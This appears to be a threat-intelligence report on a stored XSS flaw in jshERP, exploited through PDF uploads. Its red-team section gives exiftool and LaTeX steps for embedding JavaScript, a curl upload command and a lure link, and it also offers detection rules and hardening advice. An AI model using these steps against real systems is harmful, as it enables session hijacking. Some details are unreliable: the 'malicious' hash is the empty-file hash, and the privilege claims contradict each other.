CVE-2025-67341

Executive Summary

CVE-2025-67341 identifies a stored Cross-Site Scripting (XSS) vulnerability in jshERP versions 3.5 and earlier. The vulnerability allows an authenticated attacker to upload a crafted PDF file containing malicious JavaScript. Because the uploaded PDF is served via a static URL accessible to all users, any user who views the PDF will execute the embedded payload in their browser context. This can lead to session hijacking, credential theft, or further lateral movement within the ERP system. No official patch has been released by the vendor (Jsherp) as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (user interaction required)
• User Interaction: Required (victim must view the PDF)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the static URL accessibility increase the risk in multi-tenant or high-traffic environments.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of jshERP. The application does not properly validate or sanitize uploaded PDF files. An attacker can embed JavaScript within a PDF using tools like pdftex or exiftool. When the PDF is served to a victim, the browser may interpret the embedded script if the PDF viewer (e.g., Adobe Acrobat or browser built-in viewer) executes JavaScript. The static URL pattern (e.g., /uploads/pdf/) makes the malicious file discoverable and shareable.

Attack Flow:

1. Attacker logs into jshERP (or exploits an unauthenticated upload endpoint if present).
2. Attacker uploads a PDF containing <script>alert('XSS')</script> or more sophisticated payload.
3. The PDF is stored at a predictable URL like https://target.com/uploads/pdf/malicious.pdf.
4. Attacker distributes the link to victims (e.g., via email, chat, or embedding in a page).
5. Victim opens the PDF in a browser that supports PDF JavaScript execution.
6. The payload executes in the victim's session, potentially stealing cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP <= 3.5): The upload handler likely only checks the file extension (.pdf) without inspecting the file content. Example pseudocode:

def upload_file(request):
    file = request.FILES['file']
    if file.name.endswith('.pdf'):
        save_file(file)
        return success()
    else:
        return error("Only PDF allowed")

Patched Code (Hypothetical): A secure implementation would validate the PDF structure and strip any embedded JavaScript:

import PyPDF2
def upload_file(request):
    file = request.FILES['file']
    if not file.name.endswith('.pdf'):
        return error("Only PDF allowed")
    try:
        reader = PyPDF2.PdfReader(file)
        # Check for JavaScript actions
        for page in reader.pages:
            if '/AA' in page or '/OpenAction' in page:
                return error("PDF contains disallowed actions")
        # Re-save sanitized PDF
        sanitized = sanitize_pdf(file)
        save_file(sanitized)
        return success()
    except Exception:
        return error("Invalid PDF")

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to jshERP upload functionality (authenticated or unauthenticated).
• Ability to craft a malicious PDF.

Step 1: Create a malicious PDF with embedded XSS. Using exiftool:

exiftool -overwrite_original -JavaScript="app.alert('XSS');" benign.pdf

Or using pdftex with LaTeX:

\documentclass{article}
\usepackage{hyperref}
\begin{document}
\href{javascript:alert('XSS')}{Click me}
\end{document}

Step 2: Upload the PDF via the jshERP upload form.

curl -X POST -F "file=@malicious.pdf" https://target.com/upload

Step 3: Retrieve the static URL from the response (e.g., /uploads/pdf/malicious.pdf).

Step 4: Distribute the link to victims.

<a href="https://target.com/uploads/pdf/malicious.pdf">Download Report</a>

Blue Team (Detection & Hardening)

Detection:

• Monitor file upload logs for unusual PDF sizes or metadata.
• Use WAF rules to block PDFs containing JavaScript keywords.
• Deploy browser policies to disable PDF JavaScript execution.

Hardening:

• Implement content-type validation (MIME type check).
• Use a PDF sanitizer library (e.g., pdfid, peepdf) to strip actions.
• Serve uploaded PDFs with Content-Disposition: attachment to force download instead of inline viewing.
• Add X-Content-Type-Options: nosniff header.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious.pdf)
• URL Patterns:
  • https://target.com/uploads/pdf/*.pdf
• Network Traffic:
  • HTTP POST to /upload with Content-Type: multipart/form-data
  • Subsequent GET requests to /uploads/pdf/ from multiple IPs
• Log Entries:
  • [WARN] File upload: malicious.pdf (size: 12345 bytes)
  • [ERROR] PDF contains JavaScript actions

Detection Engineering

YARA Rule

rule CVE_2025_67341_Malicious_PDF {
    meta:
        description = "Detects PDF files with embedded JavaScript indicative of CVE-2025-67341"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67341"
    strings:
        $js1 = "/JavaScript" nocase
        $js2 = "/AA" nocase
        $js3 = "/OpenAction" nocase
        $js4 = "app.alert" nocase
        $js5 = "eval(" nocase
    condition:
        (uint16(0) == 0x2550) and (any of ($js*))
}

Sigma Rule

title: CVE-2025-67341 - Stored XSS via Malicious PDF Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of PDF files containing JavaScript actions in jshERP
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-status: 200
        cs-content-type: 'multipart/form-data'
    filter:
        cs-uri-query|contains: '.pdf'
    condition: selection and filter
falsepositives:
    - Legitimate PDFs with JavaScript (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67341 - Malicious PDF Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_header; content:"filename="; pcre:"/\.pdf$/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable PDF upload functionality if not critical.
   • Restrict upload access to trusted users only.
   • Implement a WAF rule to block PDFs containing /JavaScript, /AA, or /OpenAction.

2. Long-term Fix:

   • Apply input validation and sanitization on all uploaded files.
   • Use a PDF parsing library to strip JavaScript actions before storage.
   • Serve uploaded PDFs with Content-Disposition: attachment to prevent inline execution.

3. Monitoring:

   • Enable logging for all file uploads and access to static URLs.
   • Set up alerts for multiple uploads from the same IP or unusual file sizes.

4. User Awareness:

   • Train users not to open PDFs from untrusted sources.
   • Disable JavaScript in PDF viewers via group policy.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-67341